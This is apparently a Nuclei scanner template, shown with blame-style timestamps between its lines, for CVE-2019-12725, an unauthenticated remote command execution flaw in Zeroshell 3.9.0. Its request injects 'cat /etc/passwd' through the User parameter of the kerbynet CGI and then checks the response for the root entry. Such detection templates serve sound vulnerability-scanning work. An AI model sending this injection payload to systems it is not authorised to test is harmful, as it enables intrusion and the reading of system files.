2021-01-02 04:59:06 +00:00
id : CVE-2019-12725
2020-11-26 04:24:02 +00:00
info :
2022-11-29 05:36:19 +00:00
name : Zeroshell 3.9.0 - Remote Command Execution
2022-03-06 22:07:03 +00:00
author : dwisiswant0,akincibor
2020-11-26 04:24:02 +00:00
severity : critical
2022-05-17 09:18:12 +00:00
description : Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters.
2021-08-18 11:37:49 +00:00
reference :
2022-02-04 16:25:37 +00:00
- https://www.zeroshell.org/new-release-and-critical-vulnerability/
2020-11-26 19:49:35 +00:00
- https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
- https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
2022-05-17 09:18:12 +00:00
- https://zeroshell.org/blog/
remediation : Upgrade to 3.9.5. Be aware this product is no longer supported.
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2019-12725
cwe-id : CWE-78
2022-04-01 08:51:42 +00:00
tags : cve,cve2019,rce,zeroshell
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2020-11-26 04:24:02 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-11-26 04:24:02 +00:00
- method : GET
path :
2022-03-06 22:06:21 +00:00
- "{{BaseURL}}/cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW="
2020-11-26 04:24:02 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 200
2022-03-06 22:06:21 +00:00
2020-11-26 04:24:02 +00:00
- type : regex
2022-03-06 22:06:21 +00:00
part : body
2020-11-26 04:24:02 +00:00
regex :
2022-03-06 22:06:21 +00:00
- "root:.*:0:0:"
